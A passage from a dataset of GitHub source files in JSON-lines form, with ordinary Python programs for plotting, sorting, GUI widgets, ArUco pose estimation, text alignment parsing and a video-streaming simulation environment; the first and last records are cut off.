representation_dict[model][event][1]\n representation = representation_dict[model][event][0]\n ax = subplots[index[1]]\n tsne_analysis(model, event, label, representation, ax, eng_event_dict)\n plt.show()\n\n\ndef tsne_analysis(model, event, label, representation, ax, eng_event_dict):\n tsne = manifold.TSNE(n_components=2, init='random', perplexity=5)\n red = label == 1\n green = label == 0\n t0 = time()\n embedding = tsne.fit_transform(representation)\n t1 = time()\n print(\"event {}, in {} sec\".format(eng_event_dict[event], t1 - t0))\n ax.set_title('{} {}'.format(model, eng_event_dict[event]), fontsize=10)\n ax.scatter(embedding[green, 0], embedding[green, 1], c=\"g\", s=1)\n ax.scatter(embedding[red, 0], embedding[red, 1], c=\"r\", s=1.5)\n plt.setp(ax.get_yticklabels(), visible=False)\n plt.setp(ax.get_yaxis(), visible=False)\n plt.setp(ax.get_xticklabels(), visible=False)\n plt.setp(ax.get_xaxis(), visible=False)\n return embedding\n\n\ndef read_data(file_path, event_list):\n representation_dict = {'FH-RNN': dict(), 'CH-RNN': dict(), 'RNN': dict()}\n for event in event_list:\n representation_dict['FH-RNN'][event] = \\\n [np.load(os.path.join(file_path, 'hidden_state_fused_hawkes_rnn_gru_{}.npy'.format(event))),\n np.load(os.path.join(file_path, 'label_fused_hawkes_rnn_gru_{}.npy'.format(event)))]\n representation_dict['CH-RNN'][event] = \\\n [np.load(os.path.join(file_path, 'hidden_state_concat_hawkes_rnn_gru_{}.npy'.format(event))),\n np.load(os.path.join(file_path, 'label_concat_hawkes_rnn_gru_{}.npy'.format(event)))]\n representation_dict['RNN'][event] = \\\n [np.load(os.path.join(file_path, 'hidden_state_vanilla_rnn_gru_{}.npy'.format(event))),\n np.load(os.path.join(file_path, 'label_vanilla_rnn_gru_{}.npy'.format(event)))]\n return representation_dict\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"ZJU-BMI/heart_failure_progression","sub_path":"src/experiment/stat/tse_analysis.py","file_name":"tse_analysis.py","file_ext":"py","file_size_in_byte":4010,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"50"} +{"seq_id":"72061695516","text":"'''\n[선수지식] 최솟값 구하기\n'''\n\narr = [5, 3, 7, 9, 2, 5, 2, 6]\n# 파이썬에서 가장 큰 값 저장 --> 'inf'\narrMin = float('inf')\n#arrMin = arr[0]\nfor i in range(len(arr)):\n if arr[i] < arrMin:\n arrMin = arr[i]\nprint(arrMin)\n\n","repo_name":"cherrie-k/algorithm-python","sub_path":"2_Develop/00_SmallestNum.py","file_name":"00_SmallestNum.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"71209819995","text":"import json\nfrom modeles import Carte_puriste, Carte_mystere\n\ndef get_cartes_puristes():\n liste_cartes = list()\n with open('assets/cartes_puriste.json','r', encoding=\"utf-8\") as f:\n json_file = json.load(f)\n cartes = json_file['cartes_puriste']\n for carte in cartes:\n liste_cartes.append(Carte_puriste(carte['label'], carte['answer'], carte['points']))\n \n return liste_cartes\n \ndef get_cartes_mystere():\n liste_cartes = list()\n with open('assets/cartes_mystere.json','r', encoding=\"utf-8\") as f:\n json_file = json.load(f)\n cartes = json_file['cartes_mystere']\n for carte in cartes:\n liste_cartes.append(Carte_mystere(carte['label'], carte['points']))\n \n return liste_cartes\n\ndef get_artists():\n with open('assets/artists.json', 'r', encoding='utf-8') as f:\n json_file = json.load(f)\n return json_file['artists']\n\ndef get_token_spotify():\n with open('assets/spotify.json', 'r', encoding='utf-8') as f:\n json_file = json.load(f)\n return json_file['token_spotify']\n\ndef set_token_spotify(token):\n with open('assets/spotify.json', 'w', encoding='utf-8') as f:\n json.dump({'token_spotify':token},f)","repo_name":"antoningar/BotRapJeu","sub_path":"helpers/jsonhelper.py","file_name":"jsonhelper.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"25730297795","text":"def partition(arr, left, right):\n p, i = arr[right], left - 1\n\n for j in range(left, right):\n if arr[j] <= p:\n i += 1\n arr[i], arr[j] = arr[j], arr[i]\n arr[i + 1], arr[right] = arr[right], arr[i + 1]\n\n return i + 1\n\n\ndef quick_sort(arr, left, right):\n if left < right:\n idx = partition(arr, left, right)\n quick_sort(arr, left, idx - 1)\n quick_sort(arr, idx + 1, right)\n return arr\n\n\nfor t in range(int(input())):\n n, arr = int(input()), list(map(int, input().split()))\n print(f'#{t + 1} {quick_sort(arr, 0, n - 1)[n // 2]}')\n","repo_name":"myeonghan-nim/algorithm-solution-swea","sub_path":"Course/5205.py","file_name":"5205.py","file_ext":"py","file_size_in_byte":599,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"30982224208","text":"#给定一个字符串,你需要反转字符串中每个单词的字符顺序,同时仍保留空格和单词的初始顺序。\n#输入: \"Let's take LeetCode contest\"\n#输出: \"s'teL ekat edoCteeL tsetnoc\"\nclass Solution:\n def reverseWords(self,s:str) ->str:\n if not s or type(s) != str or len(s) == 0:\n print('err input')\n return False\n # 按单词切分\n arr = s.split(' ')\n res = []\n # print('arr:',arr)\n # 把每个单词逆转\n for item in arr:\n # 把单词切成字母组成的数组\n tarr = list(item)\n # 反转各单词字母\n tarr.reverse()\n # 拼回成单词\n tstr = ''.join(tarr)\n # 字母反转后的单词放回结果数组\n res.append(tstr)\n # print('res:', res)\n # 结果数组拼接成结果字符串\n res = ' '.join(res)\n print(res)\n return res\n\nprint(type('123'))\nc = Solution()\ns = \"Let's take LeetCode contest\"\nc.reverseWords(s)\n\n#单词拆成字母的方法有:\n# 1 直接list类型转换\nword = \"alice\"\ns1 = list(word)\n# 2 list 生成\ns2 = [ch for ch in word]\n# 3 循环创建list\ns3 = []\nfor t in word:\n s3.append(t)\n\nprint(s1)\nprint(s2)\nprint(s3)","repo_name":"freemanwang/Algorithm","sub_path":"leetcode/string/1.557 反转字符串单词.py","file_name":"1.557 反转字符串单词.py","file_ext":"py","file_size_in_byte":1275,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"21748551767","text":"from datetime import datetime\nimport functools\nimport re, threading, sys, time\nfrom PyQt5.QtWidgets import QTextEdit, QLineEdit, QWidget, QSplitter, QTreeWidget, QTreeWidgetItem, QBoxLayout, QDockWidget, QLabel, QPushButton, QComboBox, QCheckBox, QTabWidget,QVBoxLayout\nfrom PyQt5.QtGui import QColor, QTextCursor, QFontMetrics, QIcon, QPixmap, QPalette \nfrom PyQt5.QtCore import Qt, QEventLoop, QObject, pyqtSignal\n\nfrom ui.components.qBoxLayoutBuilder import QBoxLayoutBuilder\nfrom ui.components.labels import TrueFalseNoneIconLabel, AlignLabel, StyledLabel\n\nfrom ivk.sc505.control_td import TerminalDevice\nfrom ivk import config\n\n\nclass MonitorWidget(QDockWidget):\n monitorSignal = pyqtSignal(object)\n disconnectSignal = pyqtSignal()\n \n def __init__(self, parent, tabs_widget):\n super().__init__(parent)\n self.setWindowTitle('Монитор ОУ')\n self.tabs_widget = tabs_widget\n self.monitorSignal.connect(self.__updateUi)\n self.disconnectSignal.connect(lambda: [device['led'].setState(None) for device in self.device.values()])\n\n self.colored_labels = { }\n self.colored_labels_dispatcher_thread = threading.Thread(target=self.dispatchLabelColors, daemon=True)\n self.colored_labels_dispatcher_thread.start()\n self.colored_labels_lock = threading.Lock()\n\n self.devices = { }\n td_hint = 10\n for name, queue in config.getConf('amqp_queues').items():\n led = TrueFalseNoneIconLabel('res/led_green.png', 'res/led_red.png', 'res/led_grey.png', 'Включен', 'Отключен', 'Неизвестно', None)\n \n label = QLabel(name)\n w = label.sizeHint().width() + 4\n if w > td_hint:\n td_hint = w\n\n button_on = QPushButton(\"Включить\")\n button_on.clicked.connect(functools.partial(lambda dest, msg: config.get_exchange().send(dest, TerminalDevice.MSG(msg)), name, 'Старт'))\n button_off = QPushButton(\"Отключить\")\n button_off.clicked.connect(functools.partial(lambda dest, msg: config.get_exchange().send(dest, TerminalDevice.MSG(msg)), name, 'Стоп'))\n \n label_counter_cpi = StyledLabel('?', object_name='consolasBoldFont') if queue != 'BOI' else None\n \n self.devices[queue] = {\n 'name' : name,\n 'led' : led,\n 'label' : label,\n 'button_on' : button_on,\n 'button_off' : button_off,\n 'label_counter_cpi' : label_counter_cpi\n }\n\n self.setWidget(QWidget(self))\n lb = QBoxLayoutBuilder(self.widget(), QBoxLayout.TopToBottom, margins=(5, 5, 5, 5), spacing=5)\n \n for device in self.devices.values():\n lb.hbox(spacing=5) \\\n .add(device['led']) \\\n .add(device['label'], fix_w=td_hint) \\\n .add(device['button_on']) \\\n .add(device['button_off'])\n if device['label_counter_cpi'] is None:\n lb.stretch().up()\n else:\n lb.add(QLabel(\"Счетчик КПИ:\")).add(device['label_counter_cpi']).stretch().up()\n lb.stretch()\n\n self.hide()\n \n def updateStatus(self, status):\n self.monitorSignal.emit(status)\n \n def disconnect(self):\n self.disconnectSignal.emit()\n\n def __updateUi(self, status):\n if 'queue' not in status:\n return\n if 'counter_cpi' in status:\n self.setLabelText(self.devices[status['queue']]['label_counter_cpi'], str(status['counter_cpi']))\n elif 'status' in status:\n self.devices[status['queue']]['led'].setState(status['status'])\n\n def setLabelText(self, label, text):\n if text != label.text():\n label.setText(text)\n \n self.colored_labels_lock.acquire()\n self.colored_labels[label] = {'dt': datetime.now(), 'colored' : True}\n self.colored_labels_lock.release()\n \n label.setAutoFillBackground(True)\n pal = label.palette()\n pal.setColor(QPalette.Window, QColor('#5effb1'))\n label.setPalette(pal)\n \n def dispatchLabelColors(self):\n while True:\n time.sleep(1)\n self.colored_labels_lock.acquire()\n for label, val in self.colored_labels.items():\n if val['colored'] and (datetime.now() - val['dt']).total_seconds() > 10:\n val['colored'] = False\n pal = label.palette()\n pal.setColor(QPalette.Window, self.palette().color(QPalette.Window))\n label.setPalette(pal)\n self.colored_labels_lock.release()\n\n def showEvent(self, event):\n super().showEvent(event)\n \n def closeEvent(self, event):\n if hasattr(self.parent(), 'onDockClose'):\n self.parent().onDockClose(self)\n super().closeEvent(event)\n\n def saveSettings(self):\n pass\n # return {\n # 'sost_check_state' : self.sost_checkbox.checkState(),\n # 'sopriz_check_state' : self.sopriz_checkbox.checkState(),\n # 'narab_check_state' : self.narab_checkbox.checkState(),\n # 'naprtlm_check_state' : self.naprtlm_checkbox.checkState(),\n # 'napr_check_state' : self.napr_checkbox.checkState(),\n # 'tempab_check_state' : self.tempab_checkbox.checkState()\n # }\n \n def restoreSettings(self, settings):\n pass\n # self.sost_checkbox.setCheckState(settings['sost_check_state'])\n # self.sopriz_checkbox.setCheckState(settings['sopriz_check_state'])\n # self.narab_checkbox.setCheckState(settings['narab_check_state'])\n # self.naprtlm_checkbox.setCheckState(settings['naprtlm_check_state'])\n # self.napr_checkbox.setCheckState(settings['napr_check_state'])\n # self.tempab_checkbox.setCheckState(settings['tempab_check_state'])\n \n def settingsKeyword(self):\n return '505MonitorWidget'\n \n def getMenuParams(self):\n return {\n 'icon' : 'res/server_icon.png',\n 'text' : 'Монитор ОУ',\n 'status_tip' : 'Окно мониторинга оконечных устройств'\n }","repo_name":"SmashFlashDash/py-engineer-ide-develop","sub_path":"ivk/sc505/widget_monitor.py","file_name":"widget_monitor.py","file_ext":"py","file_size_in_byte":6347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"22504479386","text":"import cv2\nimport os\nimport yaml\nimport numpy as np\nprint(cv2.__version__)\nprint(print(cv2.__file__))\nfrom matplotlib import pyplot as plt\n\nlocal_path = os.getcwd()\n\ndir_mark = os.path.join(local_path, 'boards')\n\n\n\ndict_aruco = cv2.aruco.getPredefinedDictionary(cv2.aruco.DICT_4X4_250)\nparameters = cv2.aruco.DetectorParameters()\ndetector = cv2.aruco.ArucoDetector(dict_aruco, parameters)\n\n\n\nsquareLength = 40 # Here, our measurement unit is centimetre.\nmarkerLength = 30 # Here, our measurement unit is centimetre.\nboard = cv2.aruco.CharucoBoard((5,7), squareLength,markerLength,dict_aruco)\n\ndef my_estimatePoseSingleMarkers(corners, marker_size, mtx, distortion):\n '''\n This will estimate the rvec and tvec for each of the marker corners detected by:\n corners, ids, rejectedImgPoints = detector.detectMarkers(image)\n corners - is an array of detected corners for each detected marker in the image\n marker_size - is the size of the detected markers\n mtx - is the camera matrix\n distortion - is the camera distortion matrix\n RETURN list of rvecs, tvecs, and trash (so that it corresponds to the old estimatePoseSingleMarkers())\n '''\n marker_points = np.array([[-marker_size / 2, marker_size / 2, 0],\n [marker_size / 2, marker_size / 2, 0],\n [marker_size / 2, -marker_size / 2, 0],\n [-marker_size / 2, -marker_size / 2, 0]], dtype=np.float32)\n trash = []\n rvecs = []\n tvecs = []\n \n for c in corners:\n nada, R, t = cv2.solvePnP(marker_points, c, mtx, distortion, False, cv2.SOLVEPNP_IPPE_SQUARE)\n rvecs.append(R)\n tvecs.append(t)\n trash.append(nada)\n return rvecs, tvecs, trash\n\n\n\ndir_config = os.path.join(local_path, 'config\\\\camera_calibration')\nwith open(dir_config) as file:\n cam_calib_dist = yaml.load(file, Loader=yaml.Loader)\n print('load yaml')\n print(cam_calib_dist.keys())\n mtx = cam_calib_dist['mtx']\n dist = cam_calib_dist['dist']\n\ncamera = cv2.VideoCapture(0)\nwhile True:\n ret, frame = camera.read()\n h, w = frame.shape[:2]\n newcameramtx, roi = cv2.getOptimalNewCameraMatrix(mtx, dist, (w, h), 1, (w, h))\n\n dst = cv2.undistort(frame, mtx, dist, None, newcameramtx)\n # crop the image\n x, y, w, h = roi\n dst = dst[y:y + h, x:x + w]\n\n\n cv2.imshow('raw',frame)\n #cv2.imshow('undistort', dst)\n\n\n arucoParams = detector.getDetectorParameters\n markerCorners, markerIds, rejectedCandidates = detector.detectMarkers(dst)\n if not markerIds is None:\n\n rvecs, tvecs, trash = my_estimatePoseSingleMarkers(markerCorners, 5.3, newcameramtx, dist)\n #cv::drawFrameAxes(outputImage, cameraMatrix, distCoeffs, rvec, tvec, 0.1);\n for idx in range(len(markerIds)):\n\n cv2.drawFrameAxes(dst,mtx,dist,rvecs[idx],tvecs[idx],5)\n print('marker id:%d, pos_x = %f,pos_y = %f, pos_z = %f' % (markerIds[idx],tvecs[idx][0],tvecs[idx][1],tvecs[idx][2]))\n\n cv2.aruco.drawDetectedMarkers(dst, markerCorners, markerIds)\n # print(markerIds)\n cv2.imshow('detect', dst)\n\n\n\n\n if cv2.waitKey(2) & 0xFF == ord('q'):\n break\n","repo_name":"Menginventor/aruco_example_cv_4.8.0","sub_path":"pose_estimate.py","file_name":"pose_estimate.py","file_ext":"py","file_size_in_byte":3177,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"50"} +{"seq_id":"18600815874","text":"tuple1 = (1, 30, \"hello\", 3.14)\n# 获取元组中的元素\n# my_tuple = tuple1[2]\n# print(my_tuple)\n\n# tuple = (1)\n# print(type(tuple))\n# tuple = (1,)\n# print(type(tuple))\n\n# 修改元素---报错\n# tuple[0] = 113\n# print(tuple)\n\n# 查看元素\n# my_tuple =tuple1.index(\"hello\")\n# print(my_tuple)\n# my_tuple2 = tuple1.count(\"hello\")\n# print(my_tuple2)\n\n# 遍历循环\nfor tuple3 in tuple1:\n print(tuple3)\n\nindex = 0\ntuple4 = len(tuple1)\nwhile index < tuple4:\n tuple5 = tuple1[index]\n print(tuple5)\n index += 1\n\n\n","repo_name":"pattypmx/dict","sub_path":"01.元组的基本认识.py","file_name":"01.元组的基本认识.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"5081448916","text":"from __future__ import print_function\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\n\nimport math\n\n\nl=np.loadtxt(\"total_deaths.dat\")\n\nN=5\nind = np.arange(N) # the x locations for the groups\nwidth = 0.3 \n\nfig, ax = plt.subplots()\n\nc = ['C0', 'C1', 'C2', 'C3', 'C4']\nax.bar(ind, l, width, edgecolor = [\"k\"]*len(ind),capsize=3,color=c)\n# for making hatch in structure\n \n# done\nax.set_ylabel('Number of Lives lost',fontsize=16)\nax.set_xticks(ind )\nplt.xticks(rotation=0)\nax.set_xticklabels(('USA','Brazil','India','Russia','Mexico'),fontsize=16)\n\nplt.grid(linestyle=\":\")\nplt.tight_layout()\nfig.savefig('a2.png', format='png', dpi=300)\n","repo_name":"hjoshi77/22batch_biostatistics","sub_path":"midterm/practical/solutions/q2.py","file_name":"q2.py","file_ext":"py","file_size_in_byte":686,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"14717322052","text":"import collections\r\ndef finder(arr1,arr2):\r\n\r\n d = collections.defaultdict(int)\r\n\r\n for num in arr2:\r\n d[num] += 1\r\n\r\n for num in arr1:\r\n if d[num] == 0:\r\n return num\r\n else:\r\n d[num] -= 1\r\n\r\ndef finderXOR(arr1,arr2):\r\n\r\n result = 0\r\n\r\n for num in arr1+arr2:\r\n result ^= num\r\n print(result)\r\n return result\r\n\r\narr1 = [ 2, 3, 4, 5, 6, 7]\r\narr2 = [2,3, 4, 6,7]\r\nprint(finder(arr1,arr2))\r\nprint(\"Smart way of using XOR / ^ \")\r\nprint(finderXOR(arr1,arr2))\r\n\r\n","repo_name":"harshivvp/Python-Algorithms","sub_path":"Missing_Element_Finder.py","file_name":"Missing_Element_Finder.py","file_ext":"py","file_size_in_byte":530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"25216174244","text":"#!/usr/bin/env python3\ntempdir = \"/home/niels/Desktop/\"\n\n\ndef post_GIZA_from(line: str):\n line = line.split()\n return list(zip(line, range(1, 1 + len(line))))\n\n\ndef post_GIZA_to(line: str):\n line = line.split()\n out_data = {}\n inner_line_type = 2 # 0=word, 1=opened positions brackets, 2=closed positions brackets\n last_idx = -1\n last_word = \"\"\n cur_idx = -1\n ignore = False\n for word in line:\n word = word.strip()\n if word == \"NULL\":\n ignore = True\n continue\n if ignore:\n if word == \"})\":\n ignore = False\n inner_line_type = 2\n continue\n\n if inner_line_type is 2:\n last_word = word\n inner_line_type = 0\n elif inner_line_type is 0 and word == \"({\":\n inner_line_type = 1\n cur_idx = -1\n elif inner_line_type is 1:\n if word == \"})\":\n inner_line_type = 2\n if cur_idx is -1:\n if (last_idx + 1) not in out_data.keys():\n out_data[last_idx + 1] = []\n out_data[last_idx + 1].append(last_word)\n last_idx += 1\n else:\n last_idx = cur_idx\n else:\n cur_idx = int(word)\n if cur_idx not in out_data.keys():\n out_data[cur_idx] = []\n out_data[cur_idx].append(last_word)\n # print(out_data)\n return tuple(zip(map(lambda x: \" \".join(x), out_data.values()), out_data.keys()))\n\n\ndef post_GIZA():\n line_type = None # 0=cfomment, 1=from, 2=to\n out_from = []\n out_to = []\n line = \"\"\n lidx = 0\n with open(tempdir + \"result\") as f:\n while True: # Parse GIZA result file *A3* using a simple state machine\n lidx += 1\n if lidx % 10000 == 0:\n print(lidx)\n if lidx > 1000000000:\n break\n line = f.readline()\n if not line:\n break\n line = line.strip()\n if line.startswith(\"#\"): # Comment line, ignore + reset state machine\n line_type = 0\n elif line_type is 0: # Line from FROM language. Is always in order\n out_from = post_GIZA_from(line)\n line_type = 1\n elif line_type is 1: # Line from TO language. Is aligned in respect to FROM language\n out_to = post_GIZA_to(line)\n yield out_from, out_to\n line_type = 2\n return\n\n\nif __name__ == \"__main__\":\n it = post_GIZA()\n\n i = 0\n for f, t in it:\n print(f,t)\n sys.exit()\n i += 1\n # if len(f) is not len(t):\n # print(\"mismatch in line {}, length {} != {}\".format(i, len(f), len(t)))\n # print(f[i])\n # print(t[i])\n if i % 1000000 == 0:\n print(i)\n","repo_name":"k0rmarun/semantikws1617","sub_path":"postGIZA.py","file_name":"postGIZA.py","file_ext":"py","file_size_in_byte":2945,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"18206693212","text":"a, b = map(str, input().split())\n\nnew_a = ''\nnew_b = ''\n\nfor i in range(3):\n new_a += a[2-i]\n new_b += b[2-i]\n\nprint(max(int(new_a), int(new_b)))\n","repo_name":"OhSeungHoony/Baekjoon","sub_path":"단계별로풀어보기/06 문자열/2908 상수.py","file_name":"2908 상수.py","file_ext":"py","file_size_in_byte":152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"10183862358","text":"\"\"\"\nthis file provides the logic for the binary tree being created\n\"\"\"\n\nimport os\nos.environ['PYGAME_HIDE_SUPPORT_PROMPT'] = \"hide\"\nimport pygame\nvec2 = pygame.math.Vector2\n\nimport tkinter as tk\nfrom tkinter import simpledialog\n\n# tkinter popup returns str input\ndef input_string_popup():\n root = tk.Tk()\n root.withdraw()\n result = simpledialog.askstring(\"Input\", \"Enter a string:\", parent=root)\n if result == \"\":\n return None\n return result\n\nclass BinTree():\n def __init__(self):\n self.root = None\n self.left = None\n self.right = None\n\n self.depth = 0\n self.height = 0\n\n self.rect = None\n self.pos = None\n self.size = None\n\n self.zoom_horizontal = 1\n\n self.col_preview = (150,150,150)\n self.col_preview_hovered = (170,170,170)\n self.col_fill = (255,255,255)\n self.col_fill_hovered = (240,240,240)\n self.col_outline = (10,10,10)\n self.col_lines = (20,20,20)\n\n self.isHovered = False\n self.photomode = False\n\n # calculates the factor of the child's x distace to it's root\n def __dist_to_root(self)->int:\n # if it's an empty tree the factor is 1\n if self.root == None:\n return 1\n else:\n # else it is the distances of all children combined\n if self.left != None and self.right != None: \n dl = self.left.__dist_to_root()\n dr = self.right.__dist_to_root()\n return max(dl, dr)*2 +1\n # called when preview / empty tree is clicked on \n # creates left and right trees\n def __create(self)->None:\n # cancel creation if photomode is true\n if self.photomode:\n return\n # creates popup where str can be inserted/root has to be named\n # empty str input -> func returns None -> creation canceled\n self.root = input_string_popup()\n if self.root == None:\n return\n # create child obj:\n self.left = BinTree()\n self.left.pos = self.pos + vec2(-100,50)\n self.left.size = self.size\n self.left.depth = self.depth + 1\n self.right = BinTree()\n self.right.pos = self.pos + vec2(100,50)\n self.right.size = self.size \n self.right.depth = self.depth + 1\n\n def toggle_photoMode(self):\n print(f\"Photomode is now {self.photomode != True}\")\n if self.photomode:\n self.photomode = False\n if self.root != None:\n self.left.toggle_photoMode()\n self.right.toggle_photoMode()\n return\n self.photomode = True\n if self.root != None:\n self.left.toggle_photoMode()\n self.right.toggle_photoMode()\n\n def delete(self):\n self.root = None\n\n def update(self, event)->None:\n # update self.rect\n self.rect = pygame.Rect(self.pos.x-self.size, self.pos.y-self.size, self.size*2, self.size*2)\n # get mouse position and check if self is hovered\n mouse_pos = pygame.mouse.get_pos()\n if self.rect.collidepoint(mouse_pos):\n self.isHovered = True\n else:\n self.isHovered = False\n # check if being clicked on\n if event.type == pygame.MOUSEBUTTONDOWN:\n #pygame.mouse.get_pressed(num_buttons=3)\n if pygame.mouse.get_pressed(3)[0]: # left click\n if self.isHovered:\n if self.root == None:\n self.__create() \n if pygame.mouse.get_pressed(3)[1]: # middle click\n pass\n if pygame.mouse.get_pressed(3)[2]: # right click\n if self.isHovered:\n self.delete()\n \n # update left and right\n if self.root != None:\n # update child pos\n self.left.pos = self.pos + vec2(-self.__dist_to_root()*self.size*self.zoom_horizontal, self.size * 4)\n self.right.pos = self.pos + vec2(self.__dist_to_root()*self.size*self.zoom_horizontal, self.size * 4)\n # update child \n self.left.update(event)\n self.right.update(event)\n # update child size\n self.left.size = self.size \n self.right.size = self.size\n self.left.zoom_horizontal = self.zoom_horizontal\n self.right.zoom_horizontal = self.zoom_horizontal\n \n def render(self, surface)->None:\n if self.pos == None or self.size == None:\n return \n # render self:\n # checks if self is empty -> just draw previw \n if self.root == None:\n if self.photomode is False:\n if self.isHovered:\n pygame.draw.circle(surface, self.col_preview_hovered, self.pos, self.size) # fill preview hovered\n else:\n pygame.draw.circle(surface, self.col_preview, self.pos, self.size) # fill preview\n else:\n # draw lines to left and right if existing\n if self.left.root != None:\n pygame.draw.line(surface, self.col_lines, self.pos, self.left.pos, self.size//7)\n if self.right.root != None:\n pygame.draw.line(surface, self.col_lines, self.pos, self.right.pos, self.size//7) \n # draw self\n if self.isHovered:\n pygame.draw.circle(surface, self.col_fill_hovered, self.pos, self.size) # fill hovered\n else:\n pygame.draw.circle(surface, self.col_fill, self.pos, self.size) # fill\n pygame.draw.circle(surface, self.col_outline, self.pos, self.size, self.size//7) # outline\n \n # adaptive font size (if str len > 5 font size is reduced)\n font_size = self.size\n if len(self.root) > 5:\n font_size -= self.size//((self.size//2)*(len(self.root)-5))\n font = pygame.font.SysFont(None, int(font_size))\n text = font.render(self.root, True, (100,100,255))\n surface.blit(text, text.get_rect(center = self.pos))\n # render left/right once self is created\n if self.root != None:\n self.left.render(surface)\n self.right.render(surface)","repo_name":"lukasIguess-dev/BinTree-Maker","sub_path":"binTree.py","file_name":"binTree.py","file_ext":"py","file_size_in_byte":6220,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"50"} +{"seq_id":"30618003585","text":"'''\n测试基础知识\n'''\nlist_c = [12,35,6,53,23,2]\n\nfor i,j in enumerate(list_c):\n print(i,j)\n\nc_list = [12, 34, 56, 78, 90]\nfor i, j in enumerate(c_list):\n print(i, j)\n\n\nsum = lambda a,b: a + b\nprint(sum(1,2.1))\n\n","repo_name":"yangruiping11/hellotest","sub_path":"pythonstudy/foundation/test_enumerate.py","file_name":"test_enumerate.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"74362531035","text":"# Check if Python List Contains Elements of Another List - all(), any(), set intersection() methods\n\n\"\"\"\nIn the sample below, we are using two lists having overlapping values. One of these is the big one which holds all\nthe elements of the second one.\n\nList1 – This list contains all or some of the elements of another.\nList2 – It is a subset of the first one.\nNow, we’ve to programmatically prove that the List1 contains the elements of the List2.\n\n\"\"\"\n\n# all() method\nlist1 = ['python', 'javascript', 'csharp', 'go', 'c', 'c++']\nlist2 = ['csharp', 'go', 'python']\n\ncheck = all(item in list1 for item in list2)\nif check is True:\n print(f\"The list {list1} contains all elements of the list {list2}\")\nelse:\n print(\"No, List1 doesn't have all elements of the List2\")\n\n# any() method: to check if the list contains any elements of another one.\nlist1 = ['python', 'javascript', 'csharp', 'go', 'c', 'c++']\nlist2 = ['swift', 'php', 'python']\n\ncheck = any(item in list1 for item in list2)\n\nif check is True:\n print(\"The list {} contains some elements of the list {}\".format(list1, list2))\nelse :\n print(\"No, List1 doesn't have any elements of the List2.\")\n\n\n# set() method\nset1 = set(list1)\nset2 = set(list2)\ncommon_elems = set1.intersection(set2) # returns set of intersecting elements\nprint(common_elems)","repo_name":"chaithrakc/leetcode-programs","sub_path":"misc/list_anotherlist.py","file_name":"list_anotherlist.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"74498572636","text":"# -*- coding: UTF-8 -*-\nimport os\nimport load_trace\nimport numpy as np\n\nfrom energy import Energy\n\nMILLISECONDS_IN_SECOND = 1000.0\nB_IN_MB = 1000000.0\nBITS_IN_BYTE = 8.0\nRANDOM_SEED = 42\nVIDEO_CHUNCK_LEN = 4000.0 # millisec, every time add this amount to buffer\nBITRATE_LEVELS = 5\nBUFFER_THRESH = 60.0 * MILLISECONDS_IN_SECOND # millisec, max buffer limit\nDRAIN_BUFFER_SLEEP_TIME = 500.0 # millisec\nPACKET_PAYLOAD_PORTION = 0.95\nLINK_RTT = 80 # millisec\nPACKET_SIZE = 1500 # bytes\nNOISE_LOW = 0.9\nNOISE_HIGH = 1.1\nVIDEO_SIZE_FILE = './videos/'\nTRAIN_TRACES = './dateset/'\n\n\nclass Environment:\n def __init__(self, all_cooked_time, all_cooked_bw, random_seed=RANDOM_SEED):\n assert len(all_cooked_time) == len(all_cooked_bw)\n\n np.random.seed(random_seed)\n\n self.all_cooked_time = all_cooked_time\n self.all_cooked_bw = all_cooked_bw\n\n self.video_chunk_counter = 0\n self.buffer_size = 0\n self.energy = Energy()\n\n # pick a random trace file\n # 挑选一个随机的网络track\n self.trace_idx = np.random.randint(len(self.all_cooked_time))\n # 根据文件加载里面的track信息\n self.cooked_time = self.all_cooked_time[self.trace_idx]\n self.cooked_bw = self.all_cooked_bw[self.trace_idx]\n\n # randomize the start point of the trace\n # note: trace file starts with time 0\n # 从这一条track中随机挑选一个时间点开始,当到末尾了从0开始\n self.mahimahi_ptr = np.random.randint(1, len(self.cooked_bw))\n self.last_mahimahi_time = self.cooked_time[self.mahimahi_ptr - 1]\n self.video_files = os.listdir(VIDEO_SIZE_FILE)\n self.video_idx = 0\n self.video_size = {} # in bytes\n # 加入cache状态\n self.cache_status = []\n self.TOTAL_VIDEO_CHUNCK = 0\n # 加载不同视频文件的大小\n self.set_video_size()\n\n def set_video_size(self):\n self.video_idx = np.random.randint(0, len(self.video_files))\n file_path = VIDEO_SIZE_FILE + self.video_files[self.video_idx]\n bitrate = 0\n with open(file_path, 'rb') as f:\n for line in f:\n self.video_size[bitrate] = np.array(line.split(), dtype=int).tolist()\n bitrate += 1\n self.TOTAL_VIDEO_CHUNCK = len(self.video_size[0])\n for i in range(self.TOTAL_VIDEO_CHUNCK):\n self.cache_status.append(np.random.randint(-1, 5))\n\n # MPC专用函数\n def get_video_chunk_size(self, quality, index):\n return self.video_size[quality][index]\n\n def 